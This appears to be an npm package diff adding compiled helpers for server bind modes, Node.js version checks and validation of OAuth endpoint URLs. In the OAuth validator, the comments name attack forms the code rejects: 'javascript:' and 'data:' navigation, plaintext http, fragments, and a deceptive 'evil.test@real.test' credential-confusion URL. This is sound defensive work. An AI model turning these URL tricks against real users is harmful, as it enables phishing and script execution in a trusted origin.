@tickernelz/paperclip-pro-shared 2026.925.0

package/dist/network-bind.js

@@ -0,0 +1,75 @@
+export const LOOPBACK_BIND_HOST = "127.0.0.1";
+export const ALL_INTERFACES_BIND_HOST = "0.0.0.0";
+function normalizeHost(host) {
+    const trimmed = host?.trim();
+    return trimmed ? trimmed : undefined;
+}
+export function isLoopbackHost(host) {
+    const normalized = normalizeHost(host)?.toLowerCase();
+    return normalized === "127.0.0.1" || normalized === "localhost" || normalized === "::1";
+}
+export function isAllInterfacesHost(host) {
+    const normalized = normalizeHost(host)?.toLowerCase();
+    return normalized === "0.0.0.0" || normalized === "::";
+}
+export function inferBindModeFromHost(host, opts) {
+    const normalized = normalizeHost(host);
+    const tailnetBindHost = normalizeHost(opts?.tailnetBindHost);
+    if (!normalized || isLoopbackHost(normalized))
+        return "loopback";
+    if (isAllInterfacesHost(normalized))
+        return "lan";
+    if (tailnetBindHost && normalized === tailnetBindHost)
+        return "tailnet";
+    return "custom";
+}
+export function validateConfiguredBindMode(input) {
+    const bind = input.bind ?? inferBindModeFromHost(input.host);
+    const customBindHost = normalizeHost(input.customBindHost);
+    const errors = [];
+    if (input.deploymentMode === "local_trusted" && bind !== "loopback") {
+        errors.push("local_trusted requires server.bind=loopback");
+    }
+    if (bind === "custom" && !customBindHost) {
+        const legacyHost = normalizeHost(input.host);
+        if (!legacyHost || isLoopbackHost(legacyHost) || isAllInterfacesHost(legacyHost)) {
+            errors.push("server.customBindHost is required when server.bind=custom");
+        }
+    }
+    if (input.deploymentMode === "authenticated" && input.deploymentExposure === "public" && bind === "tailnet") {
+        errors.push("server.bind=tailnet is only supported for authenticated/private deployments");
+    }
+    return errors;
+}
+export function resolveRuntimeBind(input) {
+    const bind = input.bind ?? inferBindModeFromHost(input.host, { tailnetBindHost: input.tailnetBindHost });
+    const legacyHost = normalizeHost(input.host);
+    const customBindHost = normalizeHost(input.customBindHost) ??
+        (bind === "custom" && legacyHost && !isLoopbackHost(legacyHost) && !isAllInterfacesHost(legacyHost)
+            ? legacyHost
+            : undefined);
+    switch (bind) {
+        case "loopback":
+            return { bind, host: LOOPBACK_BIND_HOST, customBindHost, errors: [] };
+        case "lan":
+            return { bind, host: ALL_INTERFACES_BIND_HOST, customBindHost, errors: [] };
+        case "custom":
+            return customBindHost
+                ? { bind, host: customBindHost, customBindHost, errors: [] }
+                : { bind, host: legacyHost ?? LOOPBACK_BIND_HOST, errors: ["server.customBindHost is required when server.bind=custom"] };
+        case "tailnet": {
+            const tailnetBindHost = normalizeHost(input.tailnetBindHost);
+            return tailnetBindHost
+                ? { bind, host: tailnetBindHost, customBindHost, errors: [] }
+                : {
+                    bind,
+                    host: legacyHost ?? LOOPBACK_BIND_HOST,
+                    customBindHost,
+                    errors: [
+                        "server.bind=tailnet requires a detected Tailscale address or PAPERCLIP_TAILNET_BIND_HOST",
+                    ],
+                };
+        }
+    }
+}
+//# sourceMappingURL=network-bind.js.map

package/dist/network-bind.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"network-bind.js","sourceRoot":"","sources":["../src/network-bind.ts"],"names":[],"mappings":"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"}

package/dist/node-version.d.ts

@@ -0,0 +1,6 @@
+export declare const MINIMUM_NODE_VERSION = "24.11.0";
+export declare const NODE_VERSION_INSTALL_GUIDE_URL = "https://github.com/paperclipai/paperclip/blob/master/doc/INSTALLING.md#recommended-install";
+export declare function isSupportedNodeVersion(version: string): boolean;
+export declare function formatNodeVersionWarning(version: string): string | null;
+export declare function warnIfUnsupportedNodeVersion(version: string, warn: (message: string) => void): boolean;
+//# sourceMappingURL=node-version.d.ts.map

package/dist/node-version.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"node-version.d.ts","sourceRoot":"","sources":["../src/node-version.ts"],"names":[],"mappings":"AAAA,eAAO,MAAM,oBAAoB,YAAY,CAAC;AAC9C,eAAO,MAAM,8BAA8B,+FACmD,CAAC;AAS/F,wBAAgB,sBAAsB,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAU/D;AAED,wBAAgB,wBAAwB,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CAYvE;AAED,wBAAgB,4BAA4B,CAC1C,OAAO,EAAE,MAAM,EACf,IAAI,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,IAAI,GAC9B,OAAO,CAUT"}

package/dist/node-version.js

@@ -0,0 +1,48 @@
+export const MINIMUM_NODE_VERSION = "24.11.0";
+export const NODE_VERSION_INSTALL_GUIDE_URL = "https://github.com/paperclipai/paperclip/blob/master/doc/INSTALLING.md#recommended-install";
+const NODE_VERSION_WARNING_EMITTED = Symbol.for("@tickernelz/paperclip-pro-node-version-warning-emitted");
+function parseVersion(version) {
+    const match = /^v?(\d+)\.(\d+)\.(\d+)/.exec(version.trim());
+    if (!match)
+        return null;
+    return [Number(match[1]), Number(match[2]), Number(match[3])];
+}
+export function isSupportedNodeVersion(version) {
+    const current = parseVersion(version);
+    const minimum = parseVersion(MINIMUM_NODE_VERSION);
+    if (!current || !minimum)
+        return false;
+    for (let index = 0; index < current.length; index += 1) {
+        if (current[index] > minimum[index])
+            return true;
+        if (current[index] < minimum[index])
+            return false;
+    }
+    return true;
+}
+export function formatNodeVersionWarning(version) {
+    if (isSupportedNodeVersion(version))
+        return null;
+    const currentVersion = version.trim() || "unknown";
+    return [
+        `[paperclip] warning: Node.js ${currentVersion} is unsupported. Paperclip requires Node.js ${MINIMUM_NODE_VERSION} or newer.`,
+        `Running executable: ${process.execPath}`,
+        "Upgrade Node.js with your version manager, or follow the recommended downloaded install.sh workflow:",
+        `  ${NODE_VERSION_INSTALL_GUIDE_URL}`,
+        "The piped install.sh form cannot upgrade an unsupported Node.js runtime.",
+        "Restart Paperclip after upgrading.",
+        "For a background service, update its startup executable and PATH; installing a newer Node.js in your shell does not change the service runtime.",
+    ].join("\n");
+}
+export function warnIfUnsupportedNodeVersion(version, warn) {
+    const warning = formatNodeVersionWarning(version);
+    if (!warning)
+        return false;
+    const warningState = globalThis;
+    if (warningState[NODE_VERSION_WARNING_EMITTED])
+        return false;
+    warningState[NODE_VERSION_WARNING_EMITTED] = true;
+    warn(warning);
+    return true;
+}
+//# sourceMappingURL=node-version.js.map

package/dist/node-version.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"node-version.js","sourceRoot":"","sources":["../src/node-version.ts"],"names":[],"mappings":"AAAA,MAAM,CAAC,MAAM,oBAAoB,GAAG,SAAS,CAAC;AAC9C,MAAM,CAAC,MAAM,8BAA8B,GACzC,4FAA4F,CAAC;AAC/F,MAAM,4BAA4B,GAAG,MAAM,CAAC,GAAG,CAAC,wDAAwD,CAAC,CAAC;AAE1G,SAAS,YAAY,CAAC,OAAe;IACnC,MAAM,KAAK,GAAG,wBAAwB,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,CAAC;IAC5D,IAAI,CAAC,KAAK;QAAE,OAAO,IAAI,CAAC;IACxB,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;AAChE,CAAC;AAED,MAAM,UAAU,sBAAsB,CAAC,OAAe;IACpD,MAAM,OAAO,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;IACtC,MAAM,OAAO,GAAG,YAAY,CAAC,oBAAoB,CAAC,CAAC;IACnD,IAAI,CAAC,OAAO,IAAI,CAAC,OAAO;QAAE,OAAO,KAAK,CAAC;IAEvC,KAAK,IAAI,KAAK,GAAG,CAAC,EAAE,KAAK,GAAG,OAAO,CAAC,MAAM,EAAE,KAAK,IAAI,CAAC,EAAE,CAAC;QACvD,IAAI,OAAO,CAAC,KAAK,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC;YAAE,OAAO,IAAI,CAAC;QACjD,IAAI,OAAO,CAAC,KAAK,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC;YAAE,OAAO,KAAK,CAAC;IACpD,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED,MAAM,UAAU,wBAAwB,CAAC,OAAe;IACtD,IAAI,sBAAsB,CAAC,OAAO,CAAC;QAAE,OAAO,IAAI,CAAC;IACjD,MAAM,cAAc,GAAG,OAAO,CAAC,IAAI,EAAE,IAAI,SAAS,CAAC;IACnD,OAAO;QACL,gCAAgC,cAAc,+CAA+C,oBAAoB,YAAY;QAC7H,uBAAuB,OAAO,CAAC,QAAQ,EAAE;QACzC,sGAAsG;QACtG,KAAK,8BAA8B,EAAE;QACrC,0EAA0E;QAC1E,oCAAoC;QACpC,iJAAiJ;KAClJ,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACf,CAAC;AAED,MAAM,UAAU,4BAA4B,CAC1C,OAAe,EACf,IAA+B;IAE/B,MAAM,OAAO,GAAG,wBAAwB,CAAC,OAAO,CAAC,CAAC;IAClD,IAAI,CAAC,OAAO;QAAE,OAAO,KAAK,CAAC;IAE3B,MAAM,YAAY,GAAG,UAA4D,CAAC;IAClF,IAAI,YAAY,CAAC,4BAA4B,CAAC;QAAE,OAAO,KAAK,CAAC;IAE7D,YAAY,CAAC,4BAA4B,CAAC,GAAG,IAAI,CAAC;IAClD,IAAI,CAAC,OAAO,CAAC,CAAC;IACd,OAAO,IAAI,CAAC;AACd,CAAC"}

package/dist/oauth-endpoint-url.d.ts

@@ -0,0 +1,74 @@
+/**
+ * Scheme/transport safety for OAuth endpoints Paperclip learned from a remote
+ * server (PAP-17099).
+ *
+ * A generic remote MCP connection can point at any endpoint, and that endpoint
+ * gets to advertise its own authorization-server metadata. The
+ * `authorization_endpoint` it names is not just fetched server-side — Paperclip
+ * hands it to the operator's browser as a top-level navigation, so an arbitrary
+ * string there is a code-execution and open-redirect primitive:
+ * `javascript:` / `data:` would run in the board's origin, and plain `http:`
+ * would carry the authorization request (and the operator) over a network any
+ * intermediary can rewrite.
+ *
+ * So every endpoint URL discovered from metadata, pasted by an operator, taken
+ * from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed
+ * here — once, in shared code — and must be:
+ *
+ * - a well-formed absolute URL (anything `new URL` rejects is rejected);
+ * - `https:`, or `http:` only for a loopback host under the caller's explicit
+ *   local-development policy (the server passes its private-network policy, the
+ *   board passes "am I myself served over plaintext HTTP");
+ * - free of embedded credentials, because `https://evil.test@real.test/...`
+ *   reads as the wrong origin to a human and Paperclip must not help;
+ * - free of a fragment, which never survives an authorization request usefully
+ *   and is a classic way to hide the effective target from a reader.
+ *
+ * Both the server and the board import this so a value that passes the API
+ * boundary cannot fail the navigation boundary, or vice versa.
+ */
+export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata";
+export type OAuthEndpointUrlRejection = "missing" | "malformed" | "unsupported_scheme" | "insecure_transport" | "embedded_credentials" | "fragment";
+export interface OAuthEndpointUrlOptions {
+    /**
+     * Allow `http:` for loopback hosts. Only true under an explicit
+     * local-development policy — never for a public deployment.
+     */
+    allowInsecureLoopback?: boolean;
+    /**
+     * Origins whose `http:` is already the operator's own trust boundary —
+     * in practice just Paperclip's own deployment origin. A deployment served over
+     * plaintext HTTP on a LAN address can still run its own authorization
+     * endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip
+     * adds no exposure the board does not already have.
+     */
+    allowInsecureOrigins?: string[];
+}
+export type OAuthEndpointUrlCheck = {
+    ok: true;
+    url: string;
+    host: string;
+} | {
+    ok: false;
+    reason: OAuthEndpointUrlRejection;
+};
+/**
+ * Is `value` an OAuth endpoint Paperclip is willing to use — and, for the
+ * authorization endpoint, to navigate a browser to? Returns the normalized URL
+ * and its host on success, or the specific rejection reason so callers can
+ * produce an actionable message.
+ */
+export declare function checkOAuthEndpointUrl(value: unknown, options?: OAuthEndpointUrlOptions): OAuthEndpointUrlCheck;
+export declare function isSafeOAuthEndpointUrl(value: unknown, options?: OAuthEndpointUrlOptions): boolean;
+/**
+ * A UI-safe explanation for a rejected endpoint. Never echoes the URL, because
+ * the string came from the remote server and may itself be the attack.
+ */
+export declare function oauthEndpointUrlRejectionMessage(kind: OAuthEndpointKind, reason: OAuthEndpointUrlRejection): string;
+/**
+ * The host to show an operator before they are sent to an authorization page.
+ * `null` when the value is not a usable URL — callers should be refusing to
+ * navigate at that point anyway.
+ */
+export declare function oauthEndpointDisplayHost(value: unknown): string | null;
+//# sourceMappingURL=oauth-endpoint-url.d.ts.map

package/dist/oauth-endpoint-url.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"oauth-endpoint-url.d.ts","sourceRoot":"","sources":["../src/oauth-endpoint-url.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AAEH,MAAM,MAAM,iBAAiB,GAAG,eAAe,GAAG,OAAO,GAAG,cAAc,GAAG,UAAU,CAAC;AAExF,MAAM,MAAM,yBAAyB,GACjC,SAAS,GACT,WAAW,GACX,oBAAoB,GACpB,oBAAoB,GACpB,sBAAsB,GACtB,UAAU,CAAC;AAEf,MAAM,WAAW,uBAAuB;IACtC;;;OAGG;IACH,qBAAqB,CAAC,EAAE,OAAO,CAAC;IAChC;;;;;;OAMG;IACH,oBAAoB,CAAC,EAAE,MAAM,EAAE,CAAC;CACjC;AAED,MAAM,MAAM,qBAAqB,GAC7B;IAAE,EAAE,EAAE,IAAI,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,GACvC;IAAE,EAAE,EAAE,KAAK,CAAC;IAAC,MAAM,EAAE,yBAAyB,CAAA;CAAE,CAAC;AAiCrD;;;;;GAKG;AACH,wBAAgB,qBAAqB,CACnC,KAAK,EAAE,OAAO,EACd,OAAO,GAAE,uBAA4B,GACpC,qBAAqB,CAsBvB;AAED,wBAAgB,sBAAsB,CAAC,KAAK,EAAE,OAAO,EAAE,OAAO,GAAE,uBAA4B,GAAG,OAAO,CAErG;AASD;;;GAGG;AACH,wBAAgB,gCAAgC,CAC9C,IAAI,EAAE,iBAAiB,EACvB,MAAM,EAAE,yBAAyB,GAChC,MAAM,CAgBR;AAED;;;;GAIG;AACH,wBAAgB,wBAAwB,CAAC,KAAK,EAAE,OAAO,GAAG,MAAM,GAAG,IAAI,CAOtE"}

package/dist/oauth-endpoint-url.js

@@ -0,0 +1,142 @@
+/**
+ * Scheme/transport safety for OAuth endpoints Paperclip learned from a remote
+ * server (PAP-17099).
+ *
+ * A generic remote MCP connection can point at any endpoint, and that endpoint
+ * gets to advertise its own authorization-server metadata. The
+ * `authorization_endpoint` it names is not just fetched server-side — Paperclip
+ * hands it to the operator's browser as a top-level navigation, so an arbitrary
+ * string there is a code-execution and open-redirect primitive:
+ * `javascript:` / `data:` would run in the board's origin, and plain `http:`
+ * would carry the authorization request (and the operator) over a network any
+ * intermediary can rewrite.
+ *
+ * So every endpoint URL discovered from metadata, pasted by an operator, taken
+ * from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed
+ * here — once, in shared code — and must be:
+ *
+ * - a well-formed absolute URL (anything `new URL` rejects is rejected);
+ * - `https:`, or `http:` only for a loopback host under the caller's explicit
+ *   local-development policy (the server passes its private-network policy, the
+ *   board passes "am I myself served over plaintext HTTP");
+ * - free of embedded credentials, because `https://evil.test@real.test/...`
+ *   reads as the wrong origin to a human and Paperclip must not help;
+ * - free of a fragment, which never survives an authorization request usefully
+ *   and is a classic way to hide the effective target from a reader.
+ *
+ * Both the server and the board import this so a value that passes the API
+ * boundary cannot fail the navigation boundary, or vice versa.
+ */
+/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */
+function isLoopbackIpv4(hostname) {
+    const parts = hostname.split(".");
+    if (parts.length !== 4)
+        return false;
+    if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255))
+        return false;
+    return parts[0] === "127";
+}
+function isLoopbackHost(hostname) {
+    const host = hostname.replace(/^\[|\]$/g, "").toLowerCase();
+    if (host === "localhost" || host.endsWith(".localhost"))
+        return true;
+    if (host === "::1")
+        return true;
+    const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
+    if (mapped?.[1])
+        return isLoopbackIpv4(mapped[1]);
+    return isLoopbackIpv4(host);
+}
+function normalizedOrigin(value) {
+    try {
+        const origin = new URL(value).origin;
+        return origin === "null" ? null : origin;
+    }
+    catch {
+        return null;
+    }
+}
+function insecureTransportAllowed(parsed, options) {
+    if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname))
+        return true;
+    return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin);
+}
+/**
+ * Is `value` an OAuth endpoint Paperclip is willing to use — and, for the
+ * authorization endpoint, to navigate a browser to? Returns the normalized URL
+ * and its host on success, or the specific rejection reason so callers can
+ * produce an actionable message.
+ */
+export function checkOAuthEndpointUrl(value, options = {}) {
+    if (typeof value !== "string" || value.trim().length === 0) {
+        return { ok: false, reason: "missing" };
+    }
+    let parsed;
+    try {
+        parsed = new URL(value.trim());
+    }
+    catch {
+        return { ok: false, reason: "malformed" };
+    }
+    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
+        return { ok: false, reason: "unsupported_scheme" };
+    }
+    // A `javascript:`/`data:` URL has no host, and neither does something like
+    // `http:relative` — without an authority there is no origin to trust.
+    if (!parsed.hostname)
+        return { ok: false, reason: "malformed" };
+    if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) {
+        return { ok: false, reason: "insecure_transport" };
+    }
+    if (parsed.username || parsed.password)
+        return { ok: false, reason: "embedded_credentials" };
+    if (parsed.hash)
+        return { ok: false, reason: "fragment" };
+    return { ok: true, url: parsed.toString(), host: parsed.host };
+}
+export function isSafeOAuthEndpointUrl(value, options = {}) {
+    return checkOAuthEndpointUrl(value, options).ok;
+}
+const KIND_LABELS = {
+    authorization: "sign-in",
+    token: "token",
+    registration: "client registration",
+    metadata: "metadata",
+};
+/**
+ * A UI-safe explanation for a rejected endpoint. Never echoes the URL, because
+ * the string came from the remote server and may itself be the attack.
+ */
+export function oauthEndpointUrlRejectionMessage(kind, reason) {
+    const label = KIND_LABELS[kind];
+    switch (reason) {
+        case "missing":
+            return `This server did not provide a ${label} address.`;
+        case "malformed":
+            return `This server's ${label} address is not a valid URL, so Paperclip stopped.`;
+        case "unsupported_scheme":
+            return `This server's ${label} address does not use https, so Paperclip stopped.`;
+        case "insecure_transport":
+            return `This server's ${label} address is not secure (https), so Paperclip stopped.`;
+        case "embedded_credentials":
+            return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`;
+        case "fragment":
+            return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`;
+    }
+}
+/**
+ * The host to show an operator before they are sent to an authorization page.
+ * `null` when the value is not a usable URL — callers should be refusing to
+ * navigate at that point anyway.
+ */
+export function oauthEndpointDisplayHost(value) {
+    if (typeof value !== "string" || !value.trim())
+        return null;
+    try {
+        return new URL(value.trim()).host || null;
+    }
+    catch {
+        return null;
+    }
+}
+//# sourceMappingURL=oauth-endpoint-url.js.map

package/dist/oauth-endpoint-url.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"oauth-endpoint-url.js","sourceRoot":"","sources":["../src/oauth-endpoint-url.ts"],"names":[],"mappings":"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